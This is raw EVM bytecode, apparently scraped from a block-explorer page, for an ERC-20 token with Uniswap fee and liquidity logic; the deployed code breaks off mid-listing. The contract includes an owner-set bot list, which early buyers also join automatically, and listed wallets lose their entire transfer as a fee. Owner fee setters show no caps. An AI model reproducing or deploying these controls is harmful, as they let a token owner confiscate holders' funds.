60a06040526ddead000000000000000000000000608052601f805461ffff60b01b1960ff60a81b19909116600160a81b1716600160b81b1790553480156200004657600080fd5b506040518060400160405280600c81526020016b233637b5b490223930b3b7b760a11b8152506040518060400160405280600981526020016812232627a5a4a3a7a760b91b8152506402540be40060405180606001604052806001815260200160018152602001600081525060405180606001604052806001815260200160018152602001600081525060405180606001604052806001815260200160018152602001600081525060405180604001604052806402540be40081526020016402540be400815250604051806040016040528073a0e95f730e8b1a856c6d6c96c6b6054f6ffda26c6001600160a01b03166001600160a01b0316815260200173a0e95f730e8b1a856c6d6c96c6b6054f6ffda26c6001600160a01b03166001600160a01b031681525073a0e95f730e8b1a856c6d6c96c6b6054f6ffda26c6000620001956200074160201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508851620001f49060019060208c019062000870565b5087516200020a9060029060208b019062000870565b506003805460ff1916600917908190556200022a9060ff16600a62000ab9565b62000236908862000ba4565b601a558551600e819055602080880151600f8190556040808a015160108190558951601155898401516012558982015160135588516014558884015160155590880151601655620002ac939092620002989290620018ec62000745821b17901c565b6200074560201b620018ec1790919060201c565b601781905550620002d7601354620002986012546011546200074560201b620018ec1790919060201c565b60188190555062000302601654620002986015546014546200074560201b620018ec1790919060201c565b601955600354620003189060ff16600a62000ab9565b835162000326919062000ba4565b601b556003546200033c9060ff16600a62000ab9565b60208401516200034d919062000ba4565b601c819055506200038b612710620003776001601a546200078b60201b6200191b1790919060201c565b620007d960201b620019601790919060201c565b601d55815160038054610100600160a81b0319166101006001600160a01b039384160217905560208084015160048054919093166001600160a01b03199091161782556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d93849363c45a01559380830193919290829003018186803b1580156200041857600080fd5b505afa1580156200042d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000453919062000916565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200049c57600080fd5b505afa158015620004b1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004d7919062000916565b6040518363ffffffff1660e01b8152600401620004f69291906200093f565b602060405180830381600087803b1580156200051157600080fd5b505af115801562000526573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200054c919062000916565b601f80546001600160a01b03199081166001600160a01b0393841617909155601e80549091168383161790819055601a543060008181526006602090815260408083209587168352948152848220939093559081526009909152818120805460ff19908116600190811790925593861682529181208054909316821790925590600a90620005d962000823565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f5482168152600a90935281832080548516600190811790915530845282842080548616821790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054861682179055908616835290822080549093168117909255600b906200067862000823565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b84528281208054861660019081179091558783168083528483208054881683179055601f549093168252600c8552838220805490961617909455601a54818552600590935281842083905590519092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9162000729919062000a27565b60405180910390a35050505050505050505062000c19565b3390565b60008062000754838562000a30565b905083811015620007825760405162461bcd60e51b81526004016200077990620009af565b60405180910390fd5b90505b92915050565b6000826200079c5750600062000785565b6000620007aa838562000ba4565b905082620007b9858362000a4b565b14620007825760405162461bcd60e51b81526004016200077990620009e6565b60006200078283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200083260201b60201c565b6000546001600160a01b031690565b60008183620008565760405162461bcd60e51b815260040162000779919062000959565b50600062000865848662000a4b565b9150505b9392505050565b8280546200087e9062000bc6565b90600052602060002090601f016020900481019282620008a25760008555620008ed565b82601f10620008bd57805160ff1916838001178555620008ed565b82800160010185558215620008ed579182015b82811115620008ed578251825591602001919060010190620008d0565b50620008fb929150620008ff565b5090565b5b80821115620008fb576000815560010162000900565b60006020828403121562000928578081fd5b81516001600160a01b038116811462000782578182fd5b6001600160a01b0392831681529116602082015260400190565b6000602080835283518082850152825b81811015620009875785810183015185820160400152820162000969565b81811115620009995783604083870101525b50601f01601f1916929092016040019392505050565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b90815260200190565b6000821982111562000a465762000a4662000c03565b500190565b60008262000a6757634e487b7160e01b81526012600452602481fd5b500490565b80825b600180861162000a80575062000ab0565b81870482111562000a955762000a9562000c03565b8086161562000aa357918102915b9490941c93800262000a6f565b94509492505050565b60006200078260001960ff85168460008262000ad85750600162000869565b8162000ae75750600062000869565b816001811462000b00576002811462000b0b5762000b3f565b600191505062000869565b60ff84111562000b1f5762000b1f62000c03565b6001841b91508482111562000b385762000b3862000c03565b5062000869565b5060208310610133831016604e8410600b841016171562000b77575081810a8381111562000b715762000b7162000c03565b62000869565b62000b86848484600162000a6c565b80860482111562000b9b5762000b9b62000c03565b02949350505050565b600081600019048311821515161562000bc15762000bc162000c03565b500290565b60028104600182168062000bdb57607f821691505b6020821081141562000bfd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c612ca462000c3f60003960008181610cfa0152610d860152612ca46000f3fe6080604052600436106103e85760003560e01c806388790a6811610208578063b1921c3111610118578063cab03471116100ab578063dd62ed3e1161007a578063dd62ed3e14610aab578063ea7a6eb114610acb578063f0cd1dac14610ae0578063f2fde38b14610af5578063f61ffad614610b15576103ef565b8063cab0347114610a57578063d00efb2f14610a6c578063d9419b7314610a81578063dc44b6a014610a96576103ef565b8063c49b9a80116100e7578063c49b9a80146109f8578063c5d2418914610a18578063c816841b14610a2d578063c860795214610a42576103ef565b8063b1921c3114610983578063b49ece63146109a3578063c2d4640e146109c3578063c469b6dd146109e3576103ef565b8063a08e671f1161019b578063a83f53a71161016a578063a83f53a7146108ee578063a8e1515014610903578063a9059cbb14610923578063a911928c14610943578063b0be159a14610963576103ef565b8063a08e671f14610879578063a2a17cda1461088e578063a457c2d7146108ae578063a7c257b2146108ce576103ef565b8063918d5688116101d7578063918d56881461082557806395d89b411461083a578063962dc50a1461084f578063a073d37f14610864576103ef565b806388790a68146107c65780638c2fc7ad146107db5780638da5cb5b146107fb578063914eb66a14610810576103ef565b80633e4e172811610303578063614d19b81161029657806370a082311161026557806370a08231146107315780637a62ba031461075157806382eefb4314610771578063844d591c1461078657806387712e8c146107a6576103ef565b8063614d19b8146106c757806361a23c69146106dc578063632e5442146106f1578063689b30c314610711576103ef565b806350b20cac116102d257806350b20cac146106525780635785b6511461067257806357a5802f146106925780635ac419e1146106a7576103ef565b80633e4e1728146105e85780633ecad271146105fd57806340aa81fe1461061d5780634a74bb021461063d576103ef565b806327c8f8351161037b57806335d32bc31161034a57806335d32bc31461056857806339509351146105885780633b97084a146105a85780633e07387c146105c8576103ef565b806327c8f835146104fc5780632af38605146105115780632b112e4914610531578063313ce56714610546576103ef565b80631694505e116103b75780631694505e1461048357806318160ddd146104a5578063200618df146104ba57806323b872dd146104dc576103ef565b806303675260146103f457806306fdde031461041f578063095ea7b3146104415780630c70a9921461046e576103ef565b366103ef57005b600080fd5b34801561040057600080fd5b50610409610b35565b6040516104169190612abe565b60405180910390f35b34801561042b57600080fd5b50610434610b3b565b604051610416919061286a565b34801561044d57600080fd5b5061046161045c36600461265b565b610bcd565b604051610416919061285f565b34801561047a57600080fd5b50610409610beb565b34801561048f57600080fd5b50610498610bf1565b6040516104169190612810565b3480156104b157600080fd5b50610409610c00565b3480156104c657600080fd5b506104da6104d5366004612775565b610c06565b005b3480156104e857600080fd5b506104616104f73660046125e7565b610c6f565b34801561050857600080fd5b50610498610cf8565b34801561051d57600080fd5b506104da61052c366004612627565b610d1c565b34801561053d57600080fd5b50610409610d7c565b34801561055257600080fd5b5061055b610db8565b6040516104169190612b24565b34801561057457600080fd5b506104da610583366004612627565b610dc1565b34801561059457600080fd5b506104616105a336600461265b565b610e21565b3480156105b457600080fd5b506104da6105c336600461273c565b610e6f565b3480156105d457600080fd5b506104da6105e3366004612722565b610ea9565b3480156105f457600080fd5b50610498610efc565b34801561060957600080fd5b50610461610618366004612577565b610f10565b34801561062957600080fd5b50610461610638366004612577565b610f25565b34801561064957600080fd5b50610461610f3a565b34801561065e57600080fd5b506104da61066d366004612686565b610f4a565b34801561067e57600080fd5b5061046161068d366004612577565b61100f565b34801561069e57600080fd5b50610409611024565b3480156106b357600080fd5b506104da6106c2366004612775565b61102a565b3480156106d357600080fd5b50610461611084565b3480156106e857600080fd5b50610409611094565b3480156106fd57600080fd5b506104da61070c3660046126d8565b61109a565b34801561071d57600080fd5b506104da61072c366004612577565b611164565b34801561073d57600080fd5b5061040961074c366004612577565b6111c1565b34801561075d57600080fd5b506104da61076c36600461273c565b6111e0565b34801561077d57600080fd5b5061040961121e565b34801561079257600080fd5b506104da6107a1366004612627565b611224565b3480156107b257600080fd5b506104da6107c136600461273c565b611284565b3480156107d257600080fd5b506104096112be565b3480156107e757600080fd5b506104da6107f6366004612627565b6112c4565b34801561080757600080fd5b50610498611324565b34801561081c57600080fd5b506104da611333565b34801561083157600080fd5b506104da6113b8565b34801561084657600080fd5b506104346113f4565b34801561085b57600080fd5b50610409611403565b34801561087057600080fd5b50610409611409565b34801561088557600080fd5b5061040961140f565b34801561089a57600080fd5b506104da6108a9366004612627565b611415565b3480156108ba57600080fd5b506104616108c936600461265b565b611475565b3480156108da57600080fd5b506104da6108e936600461273c565b6114dd565b3480156108fa57600080fd5b50610409611517565b34801561090f57600080fd5b5061046161091e366004612577565b61151d565b34801561092f57600080fd5b5061046161093e36600461265b565b611532565b34801561094f57600080fd5b5061046161095e366004612754565b611546565b34801561096f57600080fd5b506104da61097e366004612686565b61154b565b34801561098f57600080fd5b5061046161099e366004612577565b61160a565b3480156109af57600080fd5b506104da6109be366004612722565b611628565b3480156109cf57600080fd5b506104da6109de366004612775565b61167b565b3480156109ef57600080fd5b506104096116d5565b348015610a0457600080fd5b506104da610a13366004612722565b6116db565b348015610a2457600080fd5b50610409611762565b348015610a3957600080fd5b50610498611768565b348015610a4e57600080fd5b50610409611777565b348015610a6357600080fd5b5061040961177d565b348015610a7857600080fd5b50610409611783565b348015610a8d57600080fd5b50610461611789565b348015610aa257600080fd5b50610409611799565b348015610ab757600080fd5b50610409610ac63660046125af565b61179f565b348015610ad757600080fd5b506104986117ca565b348015610aec57600080fd5b506104096117d9565b348015610b0157600080fd5b506104da610b10366004612577565b6117df565b348015610b2157600080fd5b506104da610b30366004612577565b611895565b60085481565b606060018054610b4a90612ba0565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7690612ba0565b8015610bc35780601f10610b9857610100808354040283529160200191610bc3565b820191906000526020600020905b815481529060010190602001808311610ba657829003601f168201915b5050505050905090565b6000610be1610bda6119a2565b84846119a6565b5060015b92915050565b601b5481565b601e546001600160a01b031681565b601a5490565b610c0e6119a2565b6000546001600160a01b03908116911614610c445760405162461bcd60e51b8152600401610c3b90612a00565b60405180910390fd5b601183905560128290556013819055610c6781610c6185856118ec565b906118ec565b601855505050565b6000610c7c848484611a5a565b50610ced84610c896119a2565b610ce885604051806060016040528060288152602001612c22602891396001600160a01b038a16600090815260066020526040812090610cc76119a2565b6001600160a01b031681526020810191909152604001600020549190611dbf565b6119a6565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b610d246119a2565b6000546001600160a01b03908116911614610d515760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610db3610daa7f00000000000000000000000000000000000000000000000000000000000000006111c1565b601a5490611df9565b905090565b60035460ff1690565b610dc96119a2565b6000546001600160a01b03908116911614610df65760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000610be1610e2e6119a2565b84610ce88560066000610e3f6119a2565b6001600160a01b03908116825260208083019390935260409182016000908120918c1681529252902054906118ec565b610e776119a2565b6000546001600160a01b03908116911614610ea45760405162461bcd60e51b8152600401610c3b90612a00565b601d55565b610eb16119a2565b6000546001600160a01b03908116911614610ede5760405162461bcd60e51b8152600401610c3b90612a00565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b60035461010090046001600160a01b031681565b600c6020526000908152604090205460ff1681565b600a6020526000908152604090205460ff1681565b601f54600160a81b900460ff1681565b610f526119a2565b6000546001600160a01b03908116911614610f7f5760405162461bcd60e51b8152600401610c3b90612a00565b60c98210610f8c57600080fd5b60005b82811015611009578160096000868685818110610fbc57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610fd19190612577565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561100281612bdb565b9050610f8f565b50505050565b600b6020526000908152604090205460ff1681565b60145481565b6110326119a2565b6000546001600160a01b0390811691161461105f5760405162461bcd60e51b8152600401610c3b90612a00565b600e839055600f829055601081905561107c81610c6185856118ec565b601755505050565b601f54600160b81b900460ff1681565b60155481565b6110a26119a2565b6000546001600160a01b039081169116146110cf5760405162461bcd60e51b8152600401610c3b90612a00565b6107d182106110dd57600080fd5b60006110e98383612b6a565b9050806110f5336111c1565b101561110057600080fd5b60005b8381101561115d5761114a3386868481811061112f57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906111449190612577565b85611e3b565b508061115581612bdb565b915050611103565b5050505050565b61116c6119a2565b6000546001600160a01b039081169116146111995760405162461bcd60e51b8152600401610c3b90612a00565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b0381166000908152600560205260409020545b919050565b6111e86119a2565b6000546001600160a01b039081169116146112155760405162461bcd60e51b8152600401610c3b90612a00565b60085543600755565b60185481565b61122c6119a2565b6000546001600160a01b039081169116146112595760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b61128c6119a2565b6000546001600160a01b039081169116146112b95760405162461bcd60e51b8152600401610c3b90612a00565b601b55565b60115481565b6112cc6119a2565b6000546001600160a01b039081169116146112f95760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031690565b61133b6119a2565b6000546001600160a01b039081169116146113685760405162461bcd60e51b8152600401610c3b90612a00565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6113c06119a2565b6000546001600160a01b039081169116146113ed5760405162461bcd60e51b8152600401610c3b90612a00565b6000600755565b606060028054610b4a90612ba0565b601c5481565b601d5490565b60195481565b61141d6119a2565b6000546001600160a01b0390811691161461144a5760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000610be16114826119a2565b84610ce885604051806060016040528060258152602001612c4a60259139600660006114ac6119a2565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611dbf565b6114e56119a2565b6000546001600160a01b039081169116146115125760405162461bcd60e51b8152600401610c3b90612a00565b601c55565b60165481565b60096020526000908152604090205460ff1681565b6000610ced61153f6119a2565b8484611a5a565b101590565b6115536119a2565b6000546001600160a01b039081169116146115805760405162461bcd60e51b8152600401610c3b90612a00565b60c9821061158d57600080fd5b60005b828110156110095781600d60008686858181106115bd57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906115d29190612577565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561160381612bdb565b9050611590565b6001600160a01b03166000908152600d602052604090205460ff1690565b6116306119a2565b6000546001600160a01b0390811691161461165d5760405162461bcd60e51b8152600401610c3b90612a00565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b6116836119a2565b6000546001600160a01b039081169116146116b05760405162461bcd60e51b8152600401610c3b90612a00565b6014839055601582905560168190556116cd81610c6185856118ec565b601955505050565b60105481565b6116e36119a2565b6000546001600160a01b039081169116146117105760405162461bcd60e51b8152600401610c3b90612a00565b601f805460ff60a81b1916600160a81b831515021790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061175790839061285f565b60405180910390a150565b600f5481565b601f546001600160a01b031681565b60125481565b60135481565b60075481565b601f54600160b01b900460ff1681565b600e5481565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6004546001600160a01b031681565b60175481565b6117e76119a2565b6000546001600160a01b039081169116146118145760405162461bcd60e51b8152600401610c3b90612a00565b6001600160a01b03811661183a5760405162461bcd60e51b8152600401610c3b90612900565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b61189d6119a2565b6000546001600160a01b039081169116146118ca5760405162461bcd60e51b8152600401610c3b90612a00565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b6000806118f98385612b32565b905083811015610cf15760405162461bcd60e51b8152600401610c3b90612988565b60008261192a57506000610be5565b60006119368385612b6a565b9050826119438583612b4a565b14610cf15760405162461bcd60e51b8152600401610c3b906129bf565b6000610cf183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f1f565b3390565b6001600160a01b0383166119cc5760405162461bcd60e51b8152600401610c3b90612a7a565b6001600160a01b0382166119f25760405162461bcd60e51b8152600401610c3b90612946565b6001600160a01b0380841660008181526006602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611a4d908590612abe565b60405180910390a3505050565b60006001600160a01b038416611a825760405162461bcd60e51b8152600401610c3b90612a35565b6001600160a01b038316611aa85760405162461bcd60e51b8152600401610c3b906128bd565b601f54600160a01b900460ff1615611acc57611ac5848484611e3b565b9050610cf1565b6001600160a01b0384166000908152600b602052604090205460ff16158015611b0e57506001600160a01b0383166000908152600b602052604090205460ff16155b15611b2857611b1f82601b54611546565b611b2857600080fd5b6000611b33306111c1565b601d5490915081108015908190611b545750601f54600160a01b900460ff16155b8015611b7957506001600160a01b0386166000908152600c602052604090205460ff16155b8015611b8e5750601f54600160a81b900460ff165b15611bb457601f54600160b01b900460ff1615611bab57601d5491505b611bb482611f4d565b611bbe8686612088565b15611c2f576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611c15918690611dbf565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526009602052604081205460ff1680611c6e57506001600160a01b03861660009081526009602052604090205460ff165b15611c7a575083611cde565b600060075411611c8957600080fd5b611c9d4360085460075461095e9190612b32565b8015611cc257506001600160a01b0386166000908152600c602052604090205460ff16155b15611cd057611cd0866120c0565b611cdb87878761212e565b90505b601f54600160b81b900460ff168015611d1057506001600160a01b0386166000908152600a602052604090205460ff16155b15611d3657611d2d611d2582610c61896111c1565b601c54611546565b611d3657600080fd5b6001600160a01b038616600090815260056020526040902054611d5990826118ec565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611dab908590612abe565b60405180910390a360019350505050610cf1565b60008184841115611de35760405162461bcd60e51b8152600401610c3b919061286a565b506000611df08486612b89565b95945050505050565b6000610cf183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dbf565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611e8c918490611dbf565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611ebb90836118ec565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611f0d908690612abe565b60405180910390a35060019392505050565b60008183611f405760405162461bcd60e51b8152600401610c3b919061286a565b506000611df08486612b4a565b601f805460ff60a01b1916600160a01b179055601954601454600091611f8391600291611f7d918290879061191b565b90611960565b90506000611f918383611df9565b9050611f9c8161227b565b6014544790600090611fbc90611fb3906002611960565b60195490611df9565b90506000611fde6002611f7d84611f7d6014548861191b90919063ffffffff16565b90506000611ffb83611f7d6016548761191b90919063ffffffff16565b905060006120138261200d8786611df9565b90611df9565b90508015612036576003546120369061010090046001600160a01b031682612439565b811561205257600454612052906001600160a01b031683612439565b6000831180156120625750600087115b15612071576120718784612474565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610cf157506004546001600160a01b0384811691161415905092915050565b6001600160a01b0381166000908152600d602052604090205460ff1615801561210257506001600160a01b0381166000908152600c602052604090205460ff16155b1561212b576001600160a01b0381166000908152600d60205260409020805460ff191660011790555b50565b6001600160a01b0383166000908152600c6020526040812054819060ff16156121725761216b6064611f7d6017548661191b90919063ffffffff16565b90506121b0565b6001600160a01b0384166000908152600c602052604090205460ff16156121b0576121ad6064611f7d6018548661191b90919063ffffffff16565b90505b6001600160a01b0385166000908152600d602052604090205460ff1680156121f157506001600160a01b0385166000908152600c602052604090205460ff16155b156121f95750815b8015612271573060009081526005602052604090205461221990826118ec565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90612268908590612abe565b60405180910390a35b611df08382611df9565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122be57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561231257600080fd5b505afa158015612326573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234a9190612593565b8160018151811061236b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601e5461239191309116846119a6565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906123ca908590600090869030904290600401612ae8565b600060405180830381600087803b1580156123e457600080fd5b505af11580156123f8573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161242d929190612ac7565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561246f573d6000803e3d6000fd5b505050565b601e5461248c9030906001600160a01b0316846119a6565b601e546004805460405163f305d71960e01b81526001600160a01b039384169363f305d7199386936124cc9330938a936000938493921691429101612824565b6060604051808303818588803b1580156124e557600080fd5b505af11580156124f9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061115d91906127a0565b60008083601f84011261252f578182fd5b50813567ffffffffffffffff811115612546578182fd5b602083019150836020808302850101111561256057600080fd5b9250929050565b803580151581146111db57600080fd5b600060208284031215612588578081fd5b8135610cf181612c0c565b6000602082840312156125a4578081fd5b8151610cf181612c0c565b600080604083850312156125c1578081fd5b82356125cc81612c0c565b915060208301356125dc81612c0c565b809150509250929050565b6000806000606084860312156125fb578081fd5b833561260681612c0c565b9250602084013561261681612c0c565b929592945050506040919091013590565b60008060408385031215612639578182fd5b823561264481612c0c565b915061265260208401612567565b90509250929050565b6000806040838503121561266d578182fd5b823561267881612c0c565b946020939093013593505050565b60008060006040848603121561269a578283fd5b833567ffffffffffffffff8111156126b0578384fd5b6126bc8682870161251e565b90945092506126cf905060208501612567565b90509250925092565b6000806000604084860312156126ec578283fd5b833567ffffffffffffffff811115612702578384fd5b61270e8682870161251e565b909790965060209590950135949350505050565b600060208284031215612733578081fd5b610cf182612567565b60006020828403121561274d578081fd5b5035919050565b60008060408385031215612766578182fd5b50508035926020909101359150565b600080600060608486031215612789578283fd5b505081359360208301359350604090920135919050565b6000806000606084860312156127b4578283fd5b8351925060208401519150604084015190509250925092565b6000815180845260208085019450808401835b838110156128055781516001600160a01b0316875295820195908201906001016127e0565b509495945050505050565b6001600160a01b0391909116815260200190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156128965785810183015185820160400152820161287a565b818111156128a75783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600083825260406020830152612ae060408301846127cd565b949350505050565b600086825285602083015260a06040830152612b0760a08301866127cd565b6001600160a01b0394909416606083015250608001529392505050565b60ff91909116815260200190565b60008219821115612b4557612b45612bf6565b500190565b600082612b6557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612b8457612b84612bf6565b500290565b600082821015612b9b57612b9b612bf6565b500390565b600281046001821680612bb457607f821691505b60208210811415612bd557634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612bef57612bef612bf6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461212b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122001cc6bd40dd168d9e2ec5cdc53acebd9902a82ae2f711b5b890e826ce6ce696f64736f6c63430008000033

Deployed Bytecode

0x6080604052600436106103e85760003560e01c806388790a6811610208578063b1921c3111610118578063cab03471116100ab578063dd62ed3e1161007a578063dd62ed3e14610aab578063ea7a6eb114610acb578063f0cd1dac14610ae0578063f2fde38b14610af5578063f61ffad614610b15576103ef565b8063cab0347114610a57578063d00efb2f14610a6c578063d9419b7314610a81578063dc44b6a014610a96576103ef565b8063c49b9a80116100e7578063c49b9a80146109f8578063c5d2418914610a18578063c816841b14610a2d578063c860795214610a42576103ef565b8063b1921c3114610983578063b49ece63146109a3578063c2d4640e146109c3578063c469b6dd146109e3576103ef565b8063a08e671f1161019b578063a83f53a71161016a578063a83f53a7146108ee578063a8e1515014610903578063a9059cbb14610923578063a911928c14610943578063b0be159a14610963576103ef565b8063a08e671f14610879578063a2a17cda1461088e578063a457c2d7146108ae578063a7c257b2146108ce576103ef565b8063918d5688116101d7578063918d56881461082557806395d89b411461083a578063962dc50a1461084f578063a073d37f14610864576103ef565b806388790a68146107c65780638c2fc7ad146107db5780638da5cb5b146107fb578063914eb66a14610810576103ef565b80633e4e172811610303578063614d19b81161029657806370a082311161026557806370a08231146107315780637a62ba031461075157806382eefb4314610771578063844d591c1461078657806387712e8c146107a6576103ef565b8063614d19b8146106c757806361a23c69146106dc578063632e5442146106f1578063689b30c314610711576103ef565b806350b20cac116102d257806350b20cac146106525780635785b6511461067257806357a5802f146106925780635ac419e1146106a7576103ef565b80633e4e1728146105e85780633ecad271146105fd57806340aa81fe1461061d5780634a74bb021461063d576103ef565b806327c8f8351161037b57806335d32bc31161034a57806335d32bc31461056857806339509351146105885780633b97084a146105a85780633e07387c146105c8576103ef565b806327c8f835146104fc5780632af38605146105115780632b112e4914610531578063313ce56714610546576103ef565b80631694505e116103b75780631694505e1461048357806318160ddd146104a5578063200618df146104ba57806323b872dd146104dc576103ef565b806303675260146103f457806306fdde031461041f578063095ea7b3146104415780630c70a9921461046e576103ef565b366103ef57005b600080fd5b34801561040057600080fd5b50610409610b35565b6040516104169190612abe565b60405180910390f35b34801561042b57600080fd5b50610434610b3b565b604051610416919061286a565b34801561044d57600080fd5b5061046161045c36600461265b565b610bcd565b604051610416919061285f565b34801561047a57600080fd5b50610409610beb565b34801561048f57600080fd5b50610498610bf1565b6040516104169190612810565b3480156104b157600080fd5b50610409610c00565b3480156104c657600080fd5b506104da6104d5366004612775565b610c06565b005b3480156104e857600080fd5b506104616104f73660046125e7565b610c6f565b34801561050857600080fd5b50610498610cf8565b34801561051d57600080fd5b506104da61052c366004612627565b610d1c565b34801561053d57600080fd5b50610409610d7c565b34801561055257600080fd5b5061055b610db8565b6040516104169190612b24565b34801561057457600080fd5b506104da610583366004612627565b610dc1565b34801561059457600080fd5b506104616105a336600461265b565b610e21565b3480156105b457600080fd5b506104da6105c336600461273c565b610e6f565b3480156105d457600080fd5b506104da6105e3366004612722565b610ea9565b3480156105f457600080fd5b50610498610efc565b34801561060957600080fd5b50610461610618366004612577565b610f10565b34801561062957600080fd5b50610461610638366004612577565b610f25565b34801561064957600080fd5b50610461610f3a565b34801561065e57600080fd5b506104da61066d366004612686565b610f4a565b34801561067e57600080fd5b5061046161068d366004612577565b61100f565b34801561069e57600080fd5b50610409611024565b3480156106b357600080fd5b506104da6106c2366004612775565b61102a565b3480156106d357600080fd5b50610461611084565b3480156106e857600080fd5b50610409611094565b3480156106fd57600080fd5b506104da61070c3660046126d8565b61109a565b34801561071d57600080fd5b506104da61072c366004612577565b611164565b34801561073d57600080fd5b5061040961074c366004612577565b6111c1565b34801561075d57600080fd5b506104da61076c36600461273c565b6111e0565b34801561077d57600080fd5b5061040961121e565b34801561079257600080fd5b506104da6107a1366004612627565b611224565b3480156107b257600080fd5b506104da6107c136600461273c565b611284565b3480156107d257600080fd5b506104096112be565b3480156107e757600080fd5b506104da6107f6366004612627565b6112c4565b34801561080757600080fd5b50610